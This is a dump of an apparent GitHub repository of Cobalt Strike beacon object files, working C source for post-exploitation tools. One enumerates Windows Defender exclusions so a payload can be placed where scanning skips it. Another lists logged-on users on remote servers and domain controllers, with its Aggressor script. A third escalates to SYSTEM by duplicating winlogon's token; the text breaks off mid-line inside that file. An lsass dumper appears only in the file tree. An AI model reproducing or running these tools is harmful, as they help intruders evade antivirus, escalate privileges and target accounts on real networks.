├── README.md ├── defender-exclusions ├── README.md ├── beacon.h ├── defender.h ├── exclusion.PNG └── exclusion.c ├── get-loggedon ├── README.md ├── remotereg.c ├── remotereg.cna └── users.PNG ├── get-system ├── beacon.h └── getsystem.c └── lsass ├── README.md ├── beacon.h ├── bof.PNG └── dump_lsass.c /README.md: -------------------------------------------------------------------------------- 1 | # CS-BOFs 2 | Collection of CobaltStrike beacon object files 3 | -------------------------------------------------------------------------------- /defender-exclusions/README.md: -------------------------------------------------------------------------------- 1 | 2 | Beacon Object File to list defender exclusion paths, process, extensions etc. 3 | 4 | ![](exclusion.PNG) 5 | 6 | ### Credits 7 | Full credits to [am0nsec](https://github.com/am0nsec) for the project at https://github.com/am0nsec/wspe/tree/master/Defender/ExclusionLists 8 | -------------------------------------------------------------------------------- /defender-exclusions/beacon.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Beacon Object Files (BOF) 3 | * ------------------------- 4 | * A Beacon Object File is a light-weight post exploitation tool that runs 5 | * with Beacon's inline-execute command. 6 | * 7 | * Cobalt Strike 4.1. 8 | */ 9 | 10 | /* data API */ 11 | typedef struct { 12 | char * original; /* the original buffer [so we can free it] */ 13 | char * buffer; /* current pointer into our buffer */ 14 | int length; /* remaining length of data */ 15 | int size; /* total size of this buffer */ 16 | } datap; 17 | 18 | DECLSPEC_IMPORT void BeaconDataParse(datap * parser, char * buffer, int size); 19 | DECLSPEC_IMPORT int BeaconDataInt(datap * parser); 20 | DECLSPEC_IMPORT short BeaconDataShort(datap * parser); 21 | DECLSPEC_IMPORT int BeaconDataLength(datap * parser); 22 | DECLSPEC_IMPORT char * BeaconDataExtract(datap * parser, int * size); 23 | 24 | /* format API */ 25 | typedef struct { 26 | char * original; /* the original buffer [so we can free it] */ 27 | char * buffer; /* current pointer into our buffer */ 28 | int length; /* remaining length of data */ 29 | int size; /* total size of this buffer */ 30 | } formatp; 31 | 32 | DECLSPEC_IMPORT void BeaconFormatAlloc(formatp * format, int maxsz); 33 | DECLSPEC_IMPORT void BeaconFormatReset(formatp * format); 34 | DECLSPEC_IMPORT void BeaconFormatFree(formatp * format); 35 | DECLSPEC_IMPORT void BeaconFormatAppend(formatp * format, char * text, int len); 36 | DECLSPEC_IMPORT void BeaconFormatPrintf(formatp * format, char * fmt, ...); 37 | DECLSPEC_IMPORT char * BeaconFormatToString(formatp * format, int * size); 38 | DECLSPEC_IMPORT void BeaconFormatInt(formatp * format, int value); 39 | 40 | /* Output Functions */ 41 | #define CALLBACK_OUTPUT 0x0 42 | #define CALLBACK_OUTPUT_OEM 0x1e 43 | #define CALLBACK_ERROR 0x0d 44 | #define CALLBACK_OUTPUT_UTF8 0x20 45 | 46 | DECLSPEC_IMPORT void BeaconPrintf(int type, char * fmt, ...); 47 | DECLSPEC_IMPORT void BeaconOutput(int type, char * data, int len); 48 | 49 | /* Token Functions */ 50 | DECLSPEC_IMPORT BOOL BeaconUseToken(HANDLE token); 51 | DECLSPEC_IMPORT void BeaconRevertToken(); 52 | DECLSPEC_IMPORT BOOL BeaconIsAdmin(); 53 | 54 | /* Spawn+Inject Functions */ 55 | DECLSPEC_IMPORT void BeaconGetSpawnTo(BOOL x86, char * buffer, int length); 56 | DECLSPEC_IMPORT void BeaconInjectProcess(HANDLE hProc, int pid, char * payload, int p_len, int p_offset, char * arg, int a_len); 57 | DECLSPEC_IMPORT void BeaconInjectTemporaryProcess(PROCESS_INFORMATION * pInfo, char * payload, int p_len, int p_offset, char * arg, int a_len); 58 | DECLSPEC_IMPORT void BeaconCleanupProcess(PROCESS_INFORMATION * pInfo); 59 | 60 | /* Utility Functions */ 61 | DECLSPEC_IMPORT BOOL toWideChar(char * src, wchar_t * dst, int max); 62 | -------------------------------------------------------------------------------- /defender-exclusions/defender.h: -------------------------------------------------------------------------------- 1 | /** 2 | * @file defender.h 3 | * @original author - Paul L. (@am0nsec) 4 | */ 5 | 6 | #ifndef __DEFENDER_EXCLUSIONLISTS_H_GUARD__ 7 | #define __DEFENDER_EXCLUSIONLISTS_H_GUARD__ 8 | 9 | #include 10 | 11 | /** 12 | * @brief Windows Defender type of exclusion entry. 13 | */ 14 | typedef enum _DEFENDER_EXCLUSION_TYPE { 15 | DefenderExclusionExtensions = 0x00, 16 | DefenderExclusionIpAddress = 0x01, 17 | DefenderExclusionPaths = 0x02, 18 | DefenderExclusionProcesses = 0x03, 19 | DefenderExclusionTemporaryPaths = 0x04 20 | } DEFENDER_EXCLUSION_TYPE; 21 | 22 | /** 23 | * @brief Double-linked list for Windows Defender exclusion entry. 24 | */ 25 | typedef struct _DEFENDER_EXCLUSION_ENTRY { 26 | LPVOID Blink; 27 | LPVOID Flink; 28 | DEFENDER_EXCLUSION_TYPE Type; 29 | DWORD Length; 30 | LPCSTR Exclusion; 31 | } DEFENDER_EXCLUSION_ENTRY, *PDEFENDER_EXCLUSION_ENTRY; 32 | 33 | /** 34 | * @brief List of Windows Defender exclusions. 35 | */ 36 | typedef struct _DEFENDER_EXCLUSION_LIST { 37 | PDEFENDER_EXCLUSION_ENTRY Extensions; 38 | PDEFENDER_EXCLUSION_ENTRY IpAddresses; 39 | PDEFENDER_EXCLUSION_ENTRY Paths; 40 | PDEFENDER_EXCLUSION_ENTRY Processes; 41 | PDEFENDER_EXCLUSION_ENTRY TemporaryPaths; 42 | } DEFENDER_EXCLUSION_LIST, *PDEFENDER_EXCLUSION_LIST; 43 | 44 | _Success_(return == S_OK) _Must_inspect_result_ 45 | HRESULT STDMETHODCALLTYPE DfdGetAllExclusions( 46 | _Out_ PDEFENDER_EXCLUSION_LIST pExclusionsList 47 | ); 48 | 49 | _Success_(return == S_OK) _Must_inspect_result_ 50 | HRESULT STDMETHODCALLTYPE DfdpGetExclusionEntries( 51 | _In_ PDEFENDER_EXCLUSION_ENTRY pExclusionEntry, 52 | _In_ LPCSTR szSubKeyName, 53 | _In_ CONST DEFENDER_EXCLUSION_TYPE Type, 54 | _In_ CONST PHKEY pParentKey, 55 | _In_ CONST PHANDLE phHeap, 56 | _Out_ PDWORD pdwNumberOfValues 57 | ); 58 | 59 | _Success_(return == S_OK) 60 | HRESULT STDMETHODCALLTYPE DfdpCleanup( 61 | _In_ PDEFENDER_EXCLUSION_LIST pExclusionsList 62 | ); 63 | 64 | #endif // !__DEFENDER_EXCLUSIONLISTS_H_GUARD__ 65 | -------------------------------------------------------------------------------- /defender-exclusions/exclusion.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pwn1sher/CS-BOFs/8ab8a40c09438765f77e62f363615c2f83c6803d/defender-exclusions/exclusion.PNG -------------------------------------------------------------------------------- /defender-exclusions/exclusion.c: -------------------------------------------------------------------------------- 1 | /** 2 | * @ A beacon object file to list windows defender exclusions 3 | * @original author & full credits to - Paul L. (@am0nsec) 4 | * Compile - cl.exe /c /GS- exclusion.c /Fodefender.o 5 | */ 6 | 7 | #include 8 | #include 9 | #include 10 | #include "beacon.h" 11 | #include "defender.h" 12 | 13 | WINADVAPI LONG WINAPI ADVAPI32$RegCloseKey(HKEY hKey); 14 | WINADVAPI LONG WINAPI ADVAPI32$RegOpenKeyA(HKEY hKey,LPCSTR lpSubKey,PHKEY phkResult); 15 | WINADVAPI LONG WINAPI ADVAPI32$RegQueryInfoKeyA(HKEY hKey,LPSTR lpClass,LPDWORD lpcchClass,LPDWORD lpReserved,LPDWORD lpcSubKeys,LPDWORD lpcbMaxSubKeyLen,LPDWORD lpcbMaxClassLen,LPDWORD lpcValues,LPDWORD lpcbMaxValueNameLen,LPDWORD lpcbMaxValueLen,LPDWORD lpcbSecurityDescriptor,PFILETIME lpftLastWriteTime); 16 | 17 | WINADVAPI LONG WINAPI ADVAPI32$RegEnumValueA(HKEY hKey,DWORD dwIndex,LPSTR lpValueName,LPDWORD lpcchValueName,LPDWORD lpReserved,LPDWORD lpType,LPBYTE lpData,LPDWORD lpcbData); 18 | 19 | 20 | WINBASEAPI void * WINAPI KERNEL32$HeapAlloc (HANDLE hHeap, DWORD dwFlags, SIZE_T dwBytes); 21 | WINBASEAPI LPVOID WINAPI KERNEL32$HeapReAlloc (HANDLE hHeap, DWORD dwFlags, LPVOID lpMem, SIZE_T dwBytes); 22 | WINBASEAPI HANDLE WINAPI KERNEL32$GetProcessHeap(); 23 | WINBASEAPI BOOL WINAPI KERNEL32$HeapFree (HANDLE, DWORD, PVOID); 24 | 25 | 26 | // generic function 27 | WINBASEAPI void __cdecl MSVCRT$memset(void *dest, int c, size_t count); 28 | 29 | 30 | #define RtlZeroMemory(Destination,Length) MSVCRT$memset((Destination),0,(Length)) 31 | 32 | 33 | _Use_decl_annotations_ 34 | HRESULT STDMETHODCALLTYPE DfdGetAllExclusions( 35 | _Out_ PDEFENDER_EXCLUSION_LIST pExclusionsList 36 | ) { 37 | if (pExclusionsList == NULL) 38 | return E_INVALIDARG; 39 | 40 | // Open and handle to the following windows Registry key: 41 | // Computer\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions 42 | HKEY hExclusionList = INVALID_HANDLE_VALUE; 43 | LSTATUS Status = ADVAPI32$RegOpenKeyA( 44 | HKEY_LOCAL_MACHINE, 45 | "SOFTWARE\\Microsoft\\Windows Defender\\Exclusions", 46 | &hExclusionList 47 | ); 48 | if (Status != ERROR_SUCCESS || hExclusionList == INVALID_HANDLE_VALUE) 49 | return E_FAIL; 50 | 51 | // Get handle to the process heap for memory allocation 52 | HANDLE hHeap = KERNEL32$GetProcessHeap(); 53 | 54 | // Build a local copy of the final structure. 55 | DEFENDER_EXCLUSION_LIST ExclusionList = { 0x00 }; 56 | 57 | // Prepare local variables 58 | HRESULT Result = S_OK; 59 | DWORD dwNumberOfValues = 0x00; 60 | 61 | // Get extensions 62 | ExclusionList.Extensions = KERNEL32$HeapAlloc(hHeap, HEAP_ZERO_MEMORY, sizeof(DEFENDER_EXCLUSION_ENTRY)); 63 | Result = DfdpGetExclusionEntries( 64 | ExclusionList.Extensions, 65 | "Extensions", 66 | DefenderExclusionExtensions, 67 | &hExclusionList, 68 | &hHeap, 69 | &dwNumberOfValues 70 | ); 71 | if (Result != S_OK || dwNumberOfValues == 0x00) { 72 | KERNEL32$HeapFree(hHeap, 0x00, ExclusionList.Extensions); 73 | ExclusionList.Extensions = NULL; 74 | } 75 | 76 | // Get IpAddresses 77 | ExclusionList.IpAddresses = KERNEL32$HeapAlloc(hHeap, HEAP_ZERO_MEMORY, sizeof(DEFENDER_EXCLUSION_ENTRY)); 78 | Result = DfdpGetExclusionEntries( 79 | ExclusionList.IpAddresses, 80 | "IpAddresses", 81 | DefenderExclusionIpAddress, 82 | &hExclusionList, 83 | &hHeap, 84 | &dwNumberOfValues 85 | ); 86 | if (Result != S_OK || dwNumberOfValues == 0x00) { 87 | KERNEL32$HeapFree(hHeap, 0x00, ExclusionList.IpAddresses); 88 | ExclusionList.IpAddresses = NULL; 89 | } 90 | 91 | // Get paths 92 | ExclusionList.Paths = KERNEL32$HeapAlloc(hHeap, HEAP_ZERO_MEMORY, sizeof(DEFENDER_EXCLUSION_ENTRY)); 93 | Result = DfdpGetExclusionEntries( 94 | ExclusionList.Paths, 95 | "Paths", 96 | DefenderExclusionPaths, 97 | &hExclusionList, 98 | &hHeap, 99 | &dwNumberOfValues 100 | ); 101 | if (Result != S_OK || dwNumberOfValues == 0x00) { 102 | KERNEL32$HeapFree(hHeap, 0x00, ExclusionList.Paths); 103 | ExclusionList.Paths = NULL; 104 | } 105 | 106 | // Get processes 107 | ExclusionList.Processes = KERNEL32$HeapAlloc(hHeap, HEAP_ZERO_MEMORY, sizeof(DEFENDER_EXCLUSION_ENTRY)); 108 | Result = DfdpGetExclusionEntries( 109 | ExclusionList.Processes, 110 | "Processes", 111 | DefenderExclusionProcesses, 112 | &hExclusionList, 113 | &hHeap, 114 | &dwNumberOfValues 115 | ); 116 | if (Result != S_OK || dwNumberOfValues == 0x00) { 117 | KERNEL32$HeapFree(hHeap, 0x00, ExclusionList.Extensions); 118 | ExclusionList.Extensions = NULL; 119 | } 120 | 121 | // Get temporary paths 122 | ExclusionList.TemporaryPaths = KERNEL32$HeapAlloc(hHeap, HEAP_ZERO_MEMORY, sizeof(DEFENDER_EXCLUSION_ENTRY)); 123 | Result = DfdpGetExclusionEntries( 124 | ExclusionList.TemporaryPaths, 125 | "TemporaryPaths", 126 | DefenderExclusionTemporaryPaths, 127 | &hExclusionList, 128 | &hHeap, 129 | &dwNumberOfValues 130 | ); 131 | if (Result != S_OK || dwNumberOfValues == 0x00) { 132 | KERNEL32$HeapFree(hHeap, 0x00, ExclusionList.TemporaryPaths); 133 | ExclusionList.TemporaryPaths = NULL; 134 | } 135 | 136 | // Cleanup and return data 137 | ADVAPI32$RegCloseKey(hExclusionList); 138 | *pExclusionsList = ExclusionList; 139 | return S_OK; 140 | } 141 | 142 | _Use_decl_annotations_ 143 | HRESULT STDMETHODCALLTYPE DfdpGetExclusionEntries( 144 | _In_ PDEFENDER_EXCLUSION_ENTRY pExclusionEntry, 145 | _In_ LPCSTR szSubKeyName, 146 | _In_ CONST DEFENDER_EXCLUSION_TYPE Type, 147 | _In_ CONST PHKEY pParentKey, 148 | _In_ CONST PHANDLE phHeap, 149 | _Out_ PDWORD pdwNumberOfValues 150 | ) { 151 | if (pExclusionEntry == NULL 152 | || szSubKeyName == NULL 153 | || pParentKey == NULL 154 | || *pParentKey == INVALID_HANDLE_VALUE 155 | || phHeap == NULL) 156 | return E_INVALIDARG; 157 | 158 | // Open an handle to the subkey 159 | HKEY hSubKey = INVALID_HANDLE_VALUE; 160 | LSTATUS Status = ADVAPI32$RegOpenKeyA( 161 | *pParentKey, 162 | szSubKeyName, 163 | &hSubKey 164 | ); 165 | if (Status != ERROR_SUCCESS || hSubKey == INVALID_HANDLE_VALUE) 166 | return E_FAIL; 167 | 168 | // Get all the number of values stored in the Registry key 169 | DWORD dwMaxValueNameLength = 0x00; 170 | 171 | Status = ADVAPI32$RegQueryInfoKeyA( 172 | hSubKey, 173 | NULL, 174 | NULL, 175 | NULL, 176 | NULL, 177 | NULL, 178 | NULL, 179 | pdwNumberOfValues, 180 | &dwMaxValueNameLength, 181 | NULL, 182 | NULL, 183 | NULL 184 | ); 185 | if (Status != ERROR_SUCCESS) { 186 | ADVAPI32$RegCloseKey(hSubKey); 187 | return E_FAIL; 188 | } 189 | if (*pdwNumberOfValues == 0x00) 190 | return S_OK; 191 | dwMaxValueNameLength++; 192 | 193 | // Save previous entry 194 | PDEFENDER_EXCLUSION_ENTRY Blink = NULL; 195 | 196 | // Get all the values one by one 197 | for (DWORD cx = 0x00; cx < *pdwNumberOfValues; cx++) { 198 | 199 | // Allocate memory for a new entry 200 | PDEFENDER_EXCLUSION_ENTRY ExclusionEntry = NULL; 201 | if (cx == 0x00) { 202 | ExclusionEntry = pExclusionEntry; 203 | } 204 | else { 205 | ExclusionEntry = KERNEL32$HeapAlloc(*phHeap, HEAP_ZERO_MEMORY, sizeof(DEFENDER_EXCLUSION_ENTRY)); 206 | } 207 | ExclusionEntry->Exclusion = KERNEL32$HeapAlloc(*phHeap, HEAP_ZERO_MEMORY, dwMaxValueNameLength); 208 | 209 | // Get the value name 210 | DWORD dwBufferSize = dwMaxValueNameLength; 211 | Status = ADVAPI32$RegEnumValueA(hSubKey, cx, ExclusionEntry->Exclusion, &dwBufferSize, NULL, NULL, NULL, NULL); 212 | if (Status != ERROR_SUCCESS) { 213 | KERNEL32$HeapFree(*phHeap, 0x00, ExclusionEntry->Exclusion); 214 | KERNEL32$HeapFree(*phHeap, 0x00, ExclusionEntry); 215 | ADVAPI32$RegCloseKey(hSubKey); 216 | return E_FAIL; 217 | } 218 | 219 | // Allocate memory for the double-linked list 220 | ExclusionEntry->Type = Type; 221 | ExclusionEntry->Length = dwBufferSize; 222 | 223 | // Create chain 224 | if (Blink != NULL) { 225 | ExclusionEntry->Blink = Blink; 226 | ((PDEFENDER_EXCLUSION_ENTRY)ExclusionEntry->Blink)->Flink = ExclusionEntry; 227 | } 228 | Blink = ExclusionEntry; 229 | } 230 | 231 | ADVAPI32$RegCloseKey(hSubKey); 232 | return S_OK; 233 | 234 | 235 | 236 | } 237 | 238 | _Use_decl_annotations_ 239 | HRESULT STDMETHODCALLTYPE DfdpCleanup( 240 | _In_ PDEFENDER_EXCLUSION_LIST pExclusionsList 241 | ) { 242 | if (pExclusionsList == NULL) 243 | return E_FAIL; 244 | 245 | // Get handle to process heap 246 | HANDLE hHeap = KERNEL32$GetProcessHeap(); 247 | 248 | // Clean all the memory allocated 249 | for (DWORD cx = 0x00; cx < (sizeof(DEFENDER_EXCLUSION_LIST) / sizeof(PVOID)); cx++) { 250 | PDEFENDER_EXCLUSION_ENTRY Entry = *(PUINT64)((PBYTE)pExclusionsList + (8 * cx)); 251 | while (Entry != NULL) { 252 | KERNEL32$HeapFree(hHeap, 0x00, Entry->Exclusion); 253 | if (Entry->Blink != NULL) 254 | KERNEL32$HeapFree(hHeap, 0x00, Entry->Blink); 255 | if (Entry->Flink == NULL) { 256 | KERNEL32$HeapFree(hHeap, 0x00, Entry); 257 | break; 258 | } 259 | Entry = Entry->Flink; 260 | } 261 | } 262 | 263 | ZeroMemory(pExclusionsList, sizeof(DEFENDER_EXCLUSION_LIST)); 264 | return S_OK; 265 | } 266 | 267 | 268 | /** 269 | * @brief Application entry point. 270 | * @return Application exist status. 271 | */ 272 | void go() { 273 | 274 | // Get the complete list of exclusions 275 | DEFENDER_EXCLUSION_LIST ExclusionList = { 0x00 }; 276 | HRESULT Result = DfdGetAllExclusions(&ExclusionList); 277 | if (Result != S_OK) 278 | BeaconPrintf(CALLBACK_ERROR, "error"); 279 | 280 | // Display everything 281 | PDEFENDER_EXCLUSION_ENTRY ListEntry = ExclusionList.Extensions; 282 | 283 | BeaconPrintf(CALLBACK_OUTPUT,"Type Value\n"); 284 | for (DWORD cx = 0x00; cx < (sizeof(DEFENDER_EXCLUSION_LIST) / sizeof(PVOID)); cx++) { 285 | 286 | // Get the correct extension type 287 | PDEFENDER_EXCLUSION_ENTRY Entry = *(PUINT64)((PBYTE)&ExclusionList + (8 * cx)); 288 | 289 | while (Entry != NULL) { 290 | switch (Entry->Type) { 291 | case DefenderExclusionExtensions: 292 | BeaconPrintf(CALLBACK_OUTPUT,"%+-11s%s\n", "Extension:", Entry->Exclusion); 293 | break; 294 | case DefenderExclusionIpAddress: 295 | BeaconPrintf(CALLBACK_OUTPUT,"%+-11s%s\n", "IpAddress:", Entry->Exclusion); 296 | break; 297 | case DefenderExclusionPaths: 298 | BeaconPrintf(CALLBACK_OUTPUT,"%+-11s%s\n", "Path:", Entry->Exclusion); 299 | break; 300 | case DefenderExclusionProcesses: 301 | BeaconPrintf(CALLBACK_OUTPUT,"%+-11s%s\n", "Process:", Entry->Exclusion); 302 | break; 303 | case DefenderExclusionTemporaryPaths: 304 | BeaconPrintf(CALLBACK_OUTPUT,"%+-11s%s\n", "TemporaryPaths:", Entry->Exclusion); 305 | break; 306 | } 307 | Entry = Entry->Flink; 308 | } 309 | } 310 | 311 | // Cleanup and exit 312 | DfdpCleanup(&ExclusionList); 313 | BeaconPrintf(CALLBACK_OUTPUT, "done\n"); 314 | } 315 | -------------------------------------------------------------------------------- /get-loggedon/README.md: -------------------------------------------------------------------------------- 1 | Beacon Object File to query logged on users on remote Servers/VDI/DC etc. Uses remote registry API to query the data. 2 | 3 | #### usage: 4 | 5 | Load the aggresor script - remotereg.cna using the script editor 6 | 7 | beacon> remotereg MSRV01.rexcorp.com 8 | 9 | 10 | ![](users.PNG) 11 | -------------------------------------------------------------------------------- /get-loggedon/remotereg.c: -------------------------------------------------------------------------------- 1 | // Get remote loggedon users on Servers/DC using remote registry query 2 | 3 | #include 4 | #include "beacon.h" 5 | 6 | 7 | DECLSPEC_IMPORT PCHAR __cdecl MSVCRT$strstr(const char *haystack, const char *needle); 8 | WINADVAPI LONG WINAPI ADVAPI32$RegConnectRegistryW( LPCWSTR lpMachineName, HKEY hKey, PHKEY phkResult ); 9 | DECLSPEC_IMPORT WINUSERAPI BOOL WINAPI ADVAPI32$ConvertStringSidToSidA(LPCSTR StringSid, PSID *Sid); 10 | WINADVAPI LONG WINAPI ADVAPI32$RegEnumKeyExA(HKEY hKey,DWORD dwIndex,LPSTR lpName,LPDWORD lpcchName,LPDWORD lpReserved,LPSTR lpClass,LPDWORD lpcchClass,PFILETIME lpftLastWriteTime); 11 | WINADVAPI WINBOOL WINAPI ADVAPI32$LookupAccountSidA(LPCSTR lpSystemName, PSID Sid, LPSTR Name, LPDWORD cchName, LPSTR ReferencedDomainName, LPDWORD cchReferencedDomainName, PSID_NAME_USE peUse); 12 | 13 | 14 | void go(char * args, int len){ 15 | 16 | datap parser; 17 | LPWSTR computer = NULL; 18 | BeaconDataParse(&parser, args, len); 19 | computer = (LPWSTR)BeaconDataExtract(&parser, NULL); 20 | 21 | LONG lRetVal; 22 | HKEY hKey; 23 | lRetVal = ADVAPI32$RegConnectRegistryW(computer, HKEY_USERS, &hKey); 24 | 25 | 26 | LONG rc; // contains error value returned by Regxxx() 27 | LPTSTR MachineName = NULL; 28 | DWORD dwSubKeyIndex = 0; // index into key 29 | char szSubKey[_MAX_FNAME]; 30 | DWORD dwSubKeyLength = _MAX_FNAME; // length of SubKey buffer 31 | 32 | PSID sid; 33 | 34 | char lpName[200]; 35 | DWORD dwSize = 200; 36 | char lpDomain[200]; 37 | SID_NAME_USE SNU; 38 | 39 | 40 | BeaconPrintf(CALLBACK_OUTPUT, "\n[+] Enumerating Users on: %ws\n", computer); 41 | 42 | while ((rc = ADVAPI32$RegEnumKeyExA( 43 | hKey, 44 | dwSubKeyIndex, 45 | szSubKey, 46 | &dwSubKeyLength, 47 | NULL, 48 | NULL, 49 | NULL, 50 | NULL) 51 | ) != ERROR_NO_MORE_ITEMS) { 52 | if (rc == ERROR_SUCCESS) { 53 | dwSubKeyIndex++; 54 | dwSubKeyLength = _MAX_FNAME; 55 | 56 | if (MSVCRT$strstr(szSubKey, "S-1-5-21-") != NULL) { 57 | 58 | ADVAPI32$ConvertStringSidToSidA(szSubKey, &sid); 59 | ADVAPI32$LookupAccountSidA(NULL, sid, lpName, &dwSize, lpDomain, &dwSize, &SNU); 60 | BeaconPrintf(CALLBACK_OUTPUT, "[*] User \"%s\\%s\" is Logged on - \"%ws\"", lpDomain, lpName, computer); 61 | 62 | } 63 | } 64 | } 65 | } 66 | -------------------------------------------------------------------------------- /get-loggedon/remotereg.cna: -------------------------------------------------------------------------------- 1 | alias remotereg { 2 | 3 | local('$handle $data $args $computer'); 4 | 5 | $computer = $2; 6 | 7 | $handle = openf(script_resource("remotereg.o")); 8 | 9 | $data = readb($handle, -1); 10 | closef($handle); 11 | 12 | $args = bof_pack($1, "X", $2); 13 | 14 | btask($1, "Running with $2"); 15 | 16 | beacon_inline_execute($1, $data, "go", $args); 17 | 18 | 19 | } 20 | -------------------------------------------------------------------------------- /get-loggedon/users.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pwn1sher/CS-BOFs/8ab8a40c09438765f77e62f363615c2f83c6803d/get-loggedon/users.PNG -------------------------------------------------------------------------------- /get-system/beacon.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Beacon Object Files (BOF) 3 | * ------------------------- 4 | * A Beacon Object File is a light-weight post exploitation tool that runs 5 | * with Beacon's inline-execute command. 6 | * 7 | * Cobalt Strike 4.1. 8 | */ 9 | 10 | 11 | void mycopy(char* dst, const char* src, int size) { 12 | int x; 13 | for (x = 0; x < size; x++) { 14 | *dst = *src; 15 | dst++; 16 | src++; 17 | } 18 | } 19 | 20 | char mylc(char a) { 21 | if (a >= 'A' && a <= 'Z') { 22 | return a + 32; 23 | } 24 | else { 25 | return a; 26 | } 27 | } 28 | 29 | BOOL mycmpi(char* a, char* b) { 30 | while (*a != 0 && *b != 0) { 31 | if (mylc(*a) != mylc(*b)) 32 | return FALSE; 33 | a++; 34 | b++; 35 | } 36 | 37 | return TRUE; 38 | } 39 | 40 | 41 | /* data API */ 42 | typedef struct { 43 | char* original; /* the original buffer [so we can free it] */ 44 | char* buffer; /* current pointer into our buffer */ 45 | int length; /* remaining length of data */ 46 | int size; /* total size of this buffer */ 47 | } datap; 48 | 49 | DECLSPEC_IMPORT void BeaconDataParse(datap* parser, char* buffer, int size); 50 | DECLSPEC_IMPORT int BeaconDataInt(datap* parser); 51 | DECLSPEC_IMPORT short BeaconDataShort(datap* parser); 52 | DECLSPEC_IMPORT int BeaconDataLength(datap* parser); 53 | DECLSPEC_IMPORT char* BeaconDataExtract(datap* parser, int* size); 54 | 55 | /* format API */ 56 | typedef struct { 57 | char* original; /* the original buffer [so we can free it] */ 58 | char* buffer; /* current pointer into our buffer */ 59 | int length; /* remaining length of data */ 60 | int size; /* total size of this buffer */ 61 | } formatp; 62 | 63 | DECLSPEC_IMPORT void BeaconFormatAlloc(formatp* format, int maxsz); 64 | DECLSPEC_IMPORT void BeaconFormatReset(formatp* format); 65 | DECLSPEC_IMPORT void BeaconFormatFree(formatp* format); 66 | DECLSPEC_IMPORT void BeaconFormatAppend(formatp* format, char* text, int len); 67 | DECLSPEC_IMPORT void BeaconFormatPrintf(formatp* format, char* fmt, ...); 68 | DECLSPEC_IMPORT char* BeaconFormatToString(formatp* format, int* size); 69 | DECLSPEC_IMPORT void BeaconFormatInt(formatp* format, int value); 70 | 71 | /* Output Functions */ 72 | #define CALLBACK_OUTPUT 0x0 73 | #define CALLBACK_OUTPUT_OEM 0x1e 74 | #define CALLBACK_ERROR 0x0d 75 | #define CALLBACK_OUTPUT_UTF8 0x20 76 | 77 | DECLSPEC_IMPORT void BeaconPrintf(int type, char* fmt, ...); 78 | DECLSPEC_IMPORT void BeaconOutput(int type, char* data, int len); 79 | 80 | /* Token Functions */ 81 | DECLSPEC_IMPORT BOOL BeaconUseToken(HANDLE token); 82 | DECLSPEC_IMPORT void BeaconRevertToken(); 83 | DECLSPEC_IMPORT BOOL BeaconIsAdmin(); 84 | 85 | /* Spawn+Inject Functions */ 86 | DECLSPEC_IMPORT void BeaconGetSpawnTo(BOOL x86, char* buffer, int length); 87 | DECLSPEC_IMPORT void BeaconInjectProcess(HANDLE hProc, int pid, char* payload, int p_len, int p_offset, char* arg, int a_len); 88 | DECLSPEC_IMPORT void BeaconInjectTemporaryProcess(PROCESS_INFORMATION* pInfo, char* payload, int p_len, int p_offset, char* arg, int a_len); 89 | DECLSPEC_IMPORT void BeaconCleanupProcess(PROCESS_INFORMATION* pInfo); 90 | 91 | /* Utility Functions */ 92 | DECLSPEC_IMPORT BOOL toWideChar(char* src, wchar_t* dst, int max); 93 | -------------------------------------------------------------------------------- /get-system/getsystem.c: -------------------------------------------------------------------------------- 1 | 2 | // get system by duplicating winlogon's token 3 | 4 | #include 5 | #include 6 | #include 7 | #include "beacon.h" 8 | 9 | 10 | WINBASEAPI DWORD WINAPI KERNEL32$GetLastError(VOID); 11 | WINBASEAPI BOOL WINAPI KERNEL32$CloseHandle(HANDLE); 12 | WINBASEAPI HANDLE WINAPI KERNEL32$GetCurrentProcess(VOID); 13 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$Process32Next(HANDLE, void*); 14 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$Process32First(HANDLE, void*); 15 | WINBASEAPI HANDLE WINAPI KERNEL32$OpenProcess(DWORD, BOOL, DWORD); 16 | DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$CreateToolhelp32Snapshot(DWORD, DWORD); 17 | WINADVAPI BOOL WINAPI ADVAPI32$OpenProcessToken(HANDLE, DWORD, PHANDLE); 18 | WINADVAPI BOOL WINAPI ADVAPI32$LookupPrivilegeValueW(LPCWSTR, LPCWSTR, PLUID); 19 | WINADVAPI BOOL WINAPI ADVAPI32$AdjustTokenPrivileges(HANDLE, BOOL, PTOKEN_PRIVILEGES, DWORD, PTOKEN_PRIVILEGES, PDWORD); 20 | WINADVAPI BOOL WINAPI ADVAPI32$DuplicateTokenEx(HANDLE , DWORD ,LPSECURITY_ATTRIBUTES , SECURITY_IMPERSONATION_LEVEL,TOKEN_TYPE,PHANDLE ); 21 | WINADVAPI _Must_inspect_result_ BOOL WINAPI ADVAPI32$CreateProcessWithTokenW(HANDLE , DWORD ,LPCWSTR ,LPWSTR ,DWORD ,LPVOID ,LPCWSTR ,LPSTARTUPINFOW ,LPPROCESS_INFORMATION ); 22 | 23 | 24 | BOOL EnableSeDebug(void) { 25 | 26 | HANDLE hToken = NULL; 27 | TOKEN_PRIVILEGES TokenPrivileges = { 0 }; 28 | 29 | if (!ADVAPI32$OpenProcessToken(KERNEL32$GetCurrentProcess(), TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &hToken)) { 30 | return FALSE; 31 | } 32 | TokenPrivileges.PrivilegeCount = 1; 33 | TokenPrivileges.Privileges[0].Attributes = TRUE ? SE_PRIVILEGE_ENABLED : 0; 34 | 35 | LPWSTR lpwPriv = L"SeDebugPrivilege"; 36 | 37 | if (!ADVAPI32$LookupPrivilegeValueW(NULL, (LPCWSTR)lpwPriv, &TokenPrivileges.Privileges[0].Luid)) { 38 | KERNEL32$CloseHandle(hToken); 39 | return FALSE; 40 | } 41 | 42 | if (!ADVAPI32$AdjustTokenPrivileges(hToken, FALSE, &TokenPrivileges, sizeof(TOKEN_PRIVILEGES), NULL, NULL)) { 43 | KERNEL32$CloseHandle(hToken); 44 | return FALSE; 45 | } 46 | 47 | KERNEL32$CloseHandle(hToken); 48 | 49 | return TRUE; 50 | } 51 | 52 | int GetProcId(void) { 53 | 54 | PROCESSENTRY32 entry; 55 | entry.dwSize = sizeof(PROCESSENTRY32); 56 | 57 | HANDLE snapshot 